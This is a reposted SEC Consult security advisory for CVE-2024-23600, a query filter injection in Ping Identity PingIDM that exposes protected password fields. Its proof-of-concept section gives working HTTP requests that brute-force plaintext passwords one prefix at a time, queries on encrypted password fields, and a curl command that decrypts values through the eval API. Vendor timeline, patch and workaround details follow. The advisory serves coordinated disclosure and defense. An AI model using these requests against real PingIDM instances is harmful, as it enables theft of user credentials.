{"id":60053,"date":"2024-11-01T19:02:01","date_gmt":"2024-11-01T16:02:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182457\/SA-20241030-0.txt"},"modified":"2024-11-01T19:02:01","modified_gmt":"2024-11-01T16:02:01","slug":"ping-identity-pingidm-7-5-0-query-filter-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ping-identity-pingidm-7-5-0-query-filter-injection\/","title":{"rendered":"Ping Identity PingIDM 7.5.0 Query Filter Injection"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241030-0 &gt;<br \/>=======================================================================<br \/>title: Query Filter Injection<br \/>product: Ping Identity PingIDM (formerly known as ForgeRock Identity<br \/>Management)<br \/>vulnerable version: v7.0.0 &#8211; v7.5.0 (and older unsupported versions)<br \/>fixed version: various patches; v8.0<br \/>CVE number: CVE-2024-23600<br \/>impact: medium<br \/>homepage: https:\/\/backstage.forgerock.com\/docs\/idm<br \/>found: 2024-04-10<br \/>by: Ksandros Apostoli<br \/>Miguel Garc\u00eda Mart\u00edn<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;ForgeRock Identity Management (IDM) software provides centralized, simple<br \/>management and synchronization of identities for users, devices, and things.<br \/>IDM software is highly flexible and therefore able to fit almost any use case<br \/>and workflow.&#8221;<\/p>\n<p>Source: https:\/\/backstage.forgerock.com\/docs\/idm\/7.5\/release-notes\/preface.html<\/p>\n<p>&#8220;The combination of Ping Identity and ForgeRock is ushering in a very exciting<br \/>time in the identity market. Together, our market-leading identity services will<br \/>deliver more choice, unparalleled expertise, and a more complete identity<br \/>solution for our customers and partners. We&#8217;re incredibly excited to welcome<br \/>you all to the future of identity.&#8221;<\/p>\n<p>Source: https:\/\/www.pingidentity.com\/en\/lp\/pingandforgerock.html<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor provides a patch which should be installed immediately.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Query Filter Injection (CVE-2024-23600)<br \/>Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions<br \/>7.5.0 and below, enabled an attacker with read access to the &#8220;User&#8221; collection,<br \/>to abuse API query filters in order to obtain managed and\/or internal user&#8217;s<br \/>passwords in either plaintext or encrypted variants, based on configuration.<br \/>The API clearly prevents the password in either plaintext or encrypted to be<br \/>retrieved by any other means, as this field is set as protected under the<br \/>&#8220;User&#8221; object.<\/p>\n<p>However, by injecting a malicious query filter, using &#8220;password&#8221; as the field to<br \/>be filtered, an attacker can perform a blind brute-force on any victim&#8217;s user<br \/>password details (encrypted object or plaintext string).<\/p>\n<p>This blind brute-force can be very efficiently conducted since the query filtering<br \/>supported by the PingIDM API supports versatile operators such as Starts-With (&#8216;sw&#8217;)<br \/>or Contains (&#8216;co&#8217;) etc. The sole limitation in this approach is case-insensitivity<br \/>in the above-described filters adding an additional guessing overhead.<\/p>\n<p>The issue potentially extends to all protected fields of custom or built-in<br \/>collections, but this remains to be tested.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Query Filter Injection (CVE-2024-23600)<br \/>Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.<\/p>\n<p>PoC 1 &#8211; PingIDM (v7.3.0) &#8211; configured to store plaintext user passwords<br \/>In the vulnerable instance running in this example (version 7.3.0), SEC Consult<br \/>created a test user with the following credentials: `secUser1:aAqQ1234!`.<br \/>A benign query filter in PingIDM can be crafted from the administrative<br \/>UI to filter, for example, users by their username (the password field is not<br \/>presented as available for filtering in the UI):<\/p>\n<p>HTTP Request<br \/>&#8220;`<br \/>GET \/openidm\/managed\/user?_queryFilter=userName+sw+&#8221;sec&#8221; HTTP\/2<br \/>Host: $HOST<br \/>Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0<br \/>Accept: application\/json<br \/>Referer: https:\/\/$HOST\/api\/<br \/>Accept-Encoding: gzip, deflate, br<br \/>Accept-Language: en-US,en;q=0.9<br \/>Priority: u=1, i<br \/>&#8220;`<\/p>\n<p>HTTP Response<br \/>&#8220;`<br \/>HTTP\/2 200 OK<br \/>Date: Wed, 10 Apr 2024 13:05:13 GMT<br \/>Content-Type: application\/json;charset=utf-8<br \/>Content-Length: 534<br \/>Cache-Control: no-store<br \/>Content-Security-Policy: default-src &#8216;none&#8217;;frame-ancestors &#8216;none&#8217;;sandbox<br \/>Cross-Origin-Opener-Policy: same-origin<br \/>Cross-Origin-Resource-Policy: same-origin<br \/>Expires: 0<br \/>Pragma: no-cache<br \/>Set-Cookie: session-jwt=[redacted]Path=\/; HttpOnly<br \/>X-Content-Type-Options: nosniff<br \/>X-Frame-Options: DENY<br \/>Vary: Accept-Encoding, User-Agent<br \/>Strict-Transport-Security: max-age=15724800; includeSubDomains<br \/>X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<\/p>\n<p>{<br \/>&#8220;result&#8221;: [<br \/>{<br \/>&#8220;_id&#8221;: &#8220;0a0f9700-1f7e-498c-967d-b24a0b3ab301&#8221;,<br \/>&#8220;_rev&#8221;: &#8220;0cc5575b-ce37-47c1-9beb-408b477c924e-1665022&#8221;,<br \/>&#8220;userName&#8221;: &#8220;secUser1&#8221;,<br \/>&#8220;accountStatus&#8221;: &#8220;active&#8221;,<br \/>&#8220;postalCode&#8221;: &#8220;8046&#8221;,<br \/>&#8220;stateProvince&#8221;: &#8220;ZH&#8221;,<br \/>&#8220;postalAddress&#8221;: &#8220;Flurstrasse&#8221;,<br \/>&#8220;description&#8221;: &#8220;Pentest User 1&#8221;,<br \/>&#8220;country&#8221;: &#8220;CH&#8221;,<br \/>&#8220;city&#8221;: &#8220;Zurich&#8221;,<br \/>&#8220;givenName&#8221;: &#8220;SEC&#8221;,<br \/>&#8220;sn&#8221;: &#8220;Consult&#8221;,<br \/>&#8220;mail&#8221;: &#8220;secuser1@sec-consult.com&#8221;,<br \/>&#8220;preferences&#8221;: {<br \/>&#8220;updates&#8221;: true,<br \/>&#8220;marketing&#8221;: false<br \/>}<br \/>}<br \/>],<br \/>&#8220;resultCount&#8221;: 1,<br \/>&#8220;pagedResultsCookie&#8221;: null,<br \/>&#8220;totalPagedResultsPolicy&#8221;: &#8220;NONE&#8221;,<br \/>&#8220;totalPagedResults&#8221;: -1,<br \/>&#8220;remainingPagedResults&#8221;: -1<br \/>}<br \/>&#8220;`<\/p>\n<p>Note in the request\/response pair above, that the query filter sent over the<br \/>presented API request was used to query all users with &#8216;userName&#8217; starting<br \/>(&#8216;sw&#8217;) with the string &#8220;sec&#8221;. As expected the test user &#8216;secUser1&#8217;<br \/>was returned. In addition, observe that the password field is never to be<br \/>returned in any form (plaintext or encrypted) by the API.<\/p>\n<p>Despite not being available for filtering in either the UI or API documentation,<br \/>the &#8216;password&#8217; field can be used instead of &#8216;userName&#8217; in the example above<br \/>to query users based on their password. In case the PingIDM instance has been<br \/>configured to store user passwords persistently in plaintext, it can be queried<br \/>directly as shown in the request below:<\/p>\n<p>HTTP Request<br \/>&#8220;`<br \/>GET \/openidm\/managed\/user?_queryFilter=password+sw+&#8221;a&#8221; HTTP\/2<br \/>Host: $HOST<br \/>Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0<br \/>Accept: application\/json<br \/>Referer: https:\/\/$HOST\/api\/<br \/>Accept-Encoding: gzip, deflate, br<br \/>Accept-Language: en-US,en;q=0.9<br \/>Priority: u=1, i<br \/>&#8220;`<\/p>\n<p>HTTP Response<br \/>&#8220;`<br \/>HTTP\/2 200 OK<br \/>Date: Wed, 10 Apr 2024 13:07:17 GMT<br \/>Content-Type: application\/json;charset=utf-8<br \/>Content-Length: 534<br \/>Cache-Control: no-store<br \/>Content-Security-Policy: default-src &#8216;none&#8217;;frame-ancestors &#8216;none&#8217;;sandbox<br \/>Cross-Origin-Opener-Policy: same-origin<br \/>Cross-Origin-Resource-Policy: same-origin<br \/>Expires: 0<br \/>Pragma: no-cache<br \/>Set-Cookie: session-jwt=[redacted]Path=\/; HttpOnly<br \/>X-Content-Type-Options: nosniff<br \/>X-Frame-Options: DENY<br \/>Vary: Accept-Encoding, User-Agent<br \/>Strict-Transport-Security: max-age=15724800; includeSubDomains<br \/>X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<\/p>\n<p>{<br \/>&#8220;result&#8221;: [<br \/>{<br \/>&#8220;_id&#8221;: &#8220;0a0f9700-1f7e-498c-967d-b24a0b3ab301&#8221;,<br \/>&#8220;_rev&#8221;: &#8220;0cc5575b-ce37-47c1-9beb-408b477c924e-1665022&#8221;,<br \/>&#8220;userName&#8221;: &#8220;secUser1&#8221;,<br \/>&#8220;accountStatus&#8221;: &#8220;active&#8221;,<br \/>&#8220;postalCode&#8221;: &#8220;8046&#8221;,<br \/>&#8220;stateProvince&#8221;: &#8220;ZH&#8221;,<br \/>&#8220;postalAddress&#8221;: &#8220;Flurstrasse&#8221;,<br \/>&#8220;description&#8221;: &#8220;Pentest User 1&#8221;,<br \/>&#8220;country&#8221;: &#8220;CH&#8221;,<br \/>&#8220;city&#8221;: &#8220;Zurich&#8221;,<br \/>&#8220;givenName&#8221;: &#8220;SEC&#8221;,<br \/>&#8220;sn&#8221;: &#8220;Consult&#8221;,<br \/>&#8220;mail&#8221;: &#8220;secuser1@sec-consult.com&#8221;,<br \/>&#8220;preferences&#8221;: {<br \/>&#8220;updates&#8221;: true,<br \/>&#8220;marketing&#8221;: false<br \/>}<br \/>}<br \/>],<br \/>&#8220;resultCount&#8221;: 1,<br \/>&#8220;pagedResultsCookie&#8221;: null,<br \/>&#8220;totalPagedResultsPolicy&#8221;: &#8220;NONE&#8221;,<br \/>&#8220;totalPagedResults&#8221;: -1,<br \/>&#8220;remainingPagedResults&#8221;: -1<br \/>}<br \/>&#8220;`<\/p>\n<p>As it can be noticed in the request above, all users with a password starting<br \/>with &#8216;a&#8217; (case insensitive) were queried and as expected, user &#8216;secUser1&#8217; with<br \/>password &#8216;aAqQ1234!&#8217; was returned. For an additional sanity check, SEC Consult<br \/>next queried all users with password starting with &#8216;aR&#8217;. Since no users are<br \/>to be found in the deployed instance with a matching password, no entries<br \/>are returned as it can be seen below:<\/p>\n<p>HTTP Request<br \/>&#8220;`<br \/>GET \/openidm\/managed\/user?_queryFilter=password+sw+&#8221;aR&#8221; HTTP\/2<br \/>Host: $HOST<br \/>Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0<br \/>Accept: application\/json<br \/>Referer: https:\/\/$HOST\/api\/<br \/>Accept-Encoding: gzip, deflate, br<br \/>Accept-Language: en-US,en;q=0.9<br \/>Priority: u=1, i<br \/>&#8220;`<\/p>\n<p>HTTP Response<br \/>&#8220;`<br \/>HTTP\/2 200 OK<br \/>Date: Wed, 10 Apr 2024 13:08:01 GMT<br \/>Content-Type: application\/json;charset=utf-8<br \/>Content-Length: 138<br \/>Cache-Control: no-store<br \/>Content-Security-Policy: default-src &#8216;none&#8217;;frame-ancestors &#8216;none&#8217;;sandbox<br \/>Cross-Origin-Opener-Policy: same-origin<br \/>Cross-Origin-Resource-Policy: same-origin<br \/>Expires: 0<br \/>Pragma: no-cache<br \/>Set-Cookie: session-jwt=[redacted]Path=\/; HttpOnly<br \/>X-Content-Type-Options: nosniff<br \/>X-Frame-Options: DENY<br \/>Vary: Accept-Encoding, User-Agent<br \/>Strict-Transport-Security: max-age=15724800; includeSubDomains<br \/>X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<\/p>\n<p>{<br \/>&#8220;result&#8221;: [],<br \/>&#8220;resultCount&#8221;: 0,<br \/>&#8220;pagedResultsCookie&#8221;: null,<br \/>&#8220;totalPagedResultsPolicy&#8221;: &#8220;NONE&#8221;,<br \/>&#8220;totalPagedResults&#8221;: -1,<br \/>&#8220;remainingPagedResults&#8221;: -1<br \/>}<br \/>&#8220;`<\/p>\n<p>However, if the attacker correctly guesses the second letter of the password,<br \/>e.g., by querying for passwords starting with &#8216;aA&#8217;, we observe that the same user<br \/>is returned as before:<\/p>\n<p>HTTP Request<br \/>&#8220;`<br \/>GET \/openidm\/managed\/user?_queryFilter=password+sw+&#8221;aA&#8221; HTTP\/2<br \/>Host: $HOST<br \/>Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0<br \/>Accept: application\/json<br \/>Referer: https:\/\/$HOST\/api\/<br \/>Accept-Encoding: gzip, deflate, br<br \/>Accept-Language: en-US,en;q=0.9<br \/>Priority: u=1, i<br \/>&#8220;`<\/p>\n<p>HTTP Response<br \/>&#8220;`<br \/>HTTP\/2 200 OK<br \/>Date: Wed, 10 Apr 2024 13:09:25 GMT<br \/>Content-Type: application\/json;charset=utf-8<br \/>Content-Length: 534<br \/>Cache-Control: no-store<br \/>Content-Security-Policy: default-src &#8216;none&#8217;;frame-ancestors &#8216;none&#8217;;sandbox<br \/>Cross-Origin-Opener-Policy: same-origin<br \/>Cross-Origin-Resource-Policy: same-origin<br \/>Expires: 0<br \/>Pragma: no-cache<br \/>Set-Cookie: session-jwt=[redacted]Path=\/; HttpOnly<br \/>X-Content-Type-Options: nosniff<br \/>X-Frame-Options: DENY<br \/>Vary: Accept-Encoding, User-Agent<br \/>Strict-Transport-Security: max-age=15724800; includeSubDomains<br \/>X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9<\/p>\n<p>{<br \/>&#8220;result&#8221;: [<br \/>{<br \/>&#8220;_id&#8221;: &#8220;0a0f9700-1f7e-498c-967d-b24a0b3ab301&#8221;,<br \/>&#8220;_rev&#8221;: &#8220;0cc5575b-ce37-47c1-9beb-408b477c924e-1665022&#8221;,<br \/>&#8220;userName&#8221;: &#8220;secUser1&#8221;,<br \/>&#8220;accountStatus&#8221;: &#8220;active&#8221;,<br \/>&#8220;postalCode&#8221;: &#8220;8046&#8221;,<br \/>&#8220;stateProvince&#8221;: &#8220;ZH&#8221;,<br \/>&#8220;postalAddress&#8221;: &#8220;Flurstrasse&#8221;,<br \/>&#8220;description&#8221;: &#8220;Pentest User 1&#8221;,<br \/>&#8220;country&#8221;: &#8220;CH&#8221;,<br \/>&#8220;city&#8221;: &#8220;Zurich&#8221;,<br \/>&#8220;givenName&#8221;: &#8220;SEC&#8221;,<br \/>&#8220;sn&#8221;: &#8220;Consult&#8221;,<br \/>&#8220;mail&#8221;: &#8220;secuser1@sec-consult.com&#8221;,<br \/>&#8220;preferences&#8221;: {<br \/>&#8220;updates&#8221;: true,<br \/>&#8220;marketing&#8221;: false<br \/>}<br \/>}<br \/>],<br \/>&#8220;resultCount&#8221;: 1,<br \/>&#8220;pagedResultsCookie&#8221;: null,<br \/>&#8220;totalPagedResultsPolicy&#8221;: &#8220;NONE&#8221;,<br \/>&#8220;totalPagedResults&#8221;: -1,<br \/>&#8220;remainingPagedResults&#8221;: -1<br \/>}<br \/>&#8220;`<\/p>\n<p>This indicates that an attacker can efficiently brute-force users&#8217; passwords.<\/p>\n<p>PoC 2: PingIDM (v7.5.0) &#8211; configured to store encrypted user passwords<br \/>PingIDM by default stores a user&#8217;s password encrypted symmetrically using a<br \/>private key that is created upon the first startup of the platform and is<br \/>stored in the application key-store under &#8216;{installation-path}\/security\/keystore.jceks&#8217;.<br \/>The encrypted password is represented by an object rather than a string. An example<br \/>of an encrypted password JSON object is shown below:<\/p>\n<p>&#8220;`<br \/>&#8220;username&#8221; : &#8220;anonymous&#8221;,<br \/>&#8220;password&#8221; : {<br \/>&#8220;$crypto&#8221; : {<br \/>&#8220;type&#8221; : &#8220;x-simple-encryption&#8221;,<br \/>&#8220;value&#8221; : {<br \/>&#8220;cipher&#8221; : &#8220;AES\/CBC\/PKCS5Padding&#8221;,<br \/>&#8220;stableId&#8221; : &#8220;openidm-sym-default&#8221;,<br \/>&#8220;salt&#8221; : &#8220;9fwdc+Vp1LxDno0YC6bXAA==&#8221;,<br \/>&#8220;data&#8221; : &#8220;JtFAY+EupwCSLbH06d5OPA==&#8221;,<br \/>&#8220;keySize&#8221; : 16,<br \/>&#8220;purpose&#8221; : &#8220;idm.config.encryption&#8221;,<br \/>&#8220;iv&#8221; : &#8220;Aaek9zviMgZVz\/fvOOobIQ==&#8221;,<br \/>&#8220;mac&#8221; : &#8220;IhKQTvyjcJqw1aW5BMBZpQ==&#8221;<br \/>}<br \/>}<br \/>},<br \/>&#8220;`<\/p>\n<p>While at first glance this object structure seems to break the query filter<br \/>injection from the previous example, it was found that all encrypted password<br \/>fields can be queried in the exact same way using the &#8216;_queryFilter&#8217; GET<br \/>parameter, and by fully specifying their path within the JSON object, for<br \/>example:<\/p>\n<p>&#8220;`<br \/>GET \/openidm\/managed\/user?_queryFilter=password\/$crypto\/value\/data+sw+&#8221;J&#8221;<br \/>&#8220;`<\/p>\n<p>The above request can be modified to include all other fields such as cipher,<br \/>salt, data, iv, mac, etc. Obtaining a cleartext password in this example,<br \/>would be clearly more challenging, as it would entirely depend on the security<br \/>of the encryption key utilized. However, under certain circumstances<br \/>(subject to user permissions), users in PingIDM can use the REST API to decrypt<br \/>encrypted objects without the need for the key, as shown in the documentation:<\/p>\n<p>&#8220;`<br \/>curl \\<br \/>&#8211;header &#8220;X-OpenIDM-Username: openidm-admin&#8221; \\<br \/>&#8211;header &#8220;X-OpenIDM-Password: openidm-admin&#8221; \\<br \/>&#8211;header &#8220;Content-Type: application\/json&#8221; \\<br \/>&#8211;cacert ca-cert.pem \\<br \/>&#8211;request POST \\<br \/>&#8211;data &#8216;{<br \/>&#8220;type&#8221;: &#8220;text\/javascript&#8221;,<br \/>&#8220;globals&#8221;: {<br \/>&#8220;val&#8221;: {<br \/>&#8220;$crypto&#8221;: {<br \/>&#8220;type&#8221;: &#8220;x-simple-encryption&#8221;,<br \/>&#8220;value&#8221;: {<br \/>&#8220;cipher&#8221;: &#8220;AES\/CBC\/PKCS5Padding&#8221;,<br \/>&#8220;stableId&#8221;: &#8220;openidm-sym-default&#8221;,<br \/>&#8220;salt&#8221;: &#8220;qAS\/eG7zdnFyK5H8lXvqTA==&#8221;,<br \/>&#8220;data&#8221;: &#8220;zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=&#8221;,<br \/>&#8220;keySize&#8221;: 16,<br \/>&#8220;purpose&#8221;: &#8220;idm.password.encryption&#8221;,<br \/>&#8220;iv&#8221;: &#8220;A4pIiY6kG6t0uLyLmJAoWQ==&#8221;,<br \/>&#8220;mac&#8221;: &#8220;sFDJqg0Mmp0Ftl+1q1Bjzw==&#8221;<br \/>}<br \/>}<br \/>}<br \/>},<br \/>&#8220;source&#8221;:&#8221;openidm.decrypt(val);&#8221;<br \/>}&#8217; \\<br \/>&#8220;https:\/\/$HOST\/openidm\/script?_action=eval&#8221;<br \/>{<br \/>&#8220;myKey&#8221;: &#8220;myPassword&#8221;<br \/>}<br \/>&#8220;`<br \/>source: https:\/\/backstage.forgerock.com\/docs\/idm\/7\/security-guide\/keystore-encrypt-decrypt.html<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following versions have been tested which were the latest version<br \/>available at the time of the test:<br \/>* 7.3.0<br \/>* 7.5.0<\/p>\n<p>The vendor communicated the following affected versions:<br \/>* 7.0.0 &#8211; 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-04-17: Contacting vendor through https:\/\/support.pingidentity.com\/s\/security-vulnerability<br \/>No response.<br \/>2024-05-02: Contacting vendor through vulnerability submission form again.<br \/>No response.<br \/>2024-05-23: Contacting CISO via LinkedIn. Immediate response, submitting<br \/>advisory details via encrypted email.<br \/>2024-06-04: Security engineering team responds, acknowledges finding with low risk score.<br \/>Patch will be released and CVE be assigned nevertheless.<br \/>2024-06-11: Asking vendor for coordinated release, timeline, affected\/fixed versions, CVE.<br \/>2024-06-17: Vendor: thoroughly addressed the vulnerability, assigned CVE-2024-23600.<br \/>Tentative public date for CVE is 24th June. Because of low risk, fix will be in next<br \/>GA release 7.6 and backports to 7.5.x-7.1., acknowledged credits for team,<br \/>needs us to submit to HackerOne as well regarding bug bounty donation.<br \/>2024-06-21: Submitting to HackerOne, proposing coordinated release of our advisory<br \/>after patches are available to customers.<br \/>2024-08-01: PingIdentity informs us that everything is patched and CVE released, awarded bounty.<br \/>2024-09-25: Following up after vacation absences, preparing our security advisory release,<br \/>asking for clarification regarding version numbers; no response<br \/>2024-10-17: Asking for version numbers and download URLs again<br \/>Vendor confirms versions numbers and links.<br \/>2024-10-22: Informing vendor about planned advisory release next week.<br \/>2024-10-29: Receiving feedback, version 7.6 won&#8217;t be released, but 8.0; Adjusting advisory.<br \/>2024-10-30: Coordinated advisory release<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor provides patches for the affected versions which can be downloaded from<br \/>their download site. Furthermore, the upcoming release 8.0 includes the fixes as well:<br \/>https:\/\/backstage.forgerock.com\/downloads\/browse\/idm\/all\/productId:idm<\/p>\n<p>Vendor security advisory with further information:<br \/>https:\/\/backstage.forgerock.com\/knowledge\/advisories\/article\/a95212747<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>For custom roles, a granular permission selection can be made on all<br \/>object&#8217;s fields allowing &#8216;Read&#8217;, &#8216;Read\/Write&#8217;, and &#8216;None&#8217; access options.<br \/>In the User object, the &#8216;password&#8217; field is configurable to these<br \/>permissions as well, even though this field can never be retrieved<br \/>or read from any API endpoints or UI (rightfully so). If the<br \/>permissions for the &#8216;password&#8217; field under the user role are set<br \/>to &#8216;None&#8217;, this will prevent also queries from being executed on<br \/>that field. By default, when assigning read permissions to an object,<br \/>all fields are marked as &#8216;Read&#8217;, as expected, therefore this change<br \/>needs to be done manually.<\/p>\n<p>Unfortunately, for built-in roles, e.g. &#8216;openidm-admin&#8217;, these granular<br \/>permissions cannot be set, therefore this workaround won&#8217;t work.<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Ksandros Apostoli, Miguel Garc\u00eda Mart\u00edn \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20241030-0 &gt;=======================================================================title: Query Filter Injectionproduct: Ping Identity PingIDM (formerly known as ForgeRock IdentityManagement)vulnerable version: v7.0.0 &#8211; v7.5.0 (and older unsupported versions)fixed version: various patches; v8.0CVE number: CVE-2024-23600impact: mediumhomepage: https:\/\/backstage.forgerock.com\/docs\/idmfound: 2024-04-10by: Ksandros ApostoliMiguel Garc\u00eda Mart\u00ednSEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60053","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60053","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60053"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60053\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60053"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60053"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60053"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}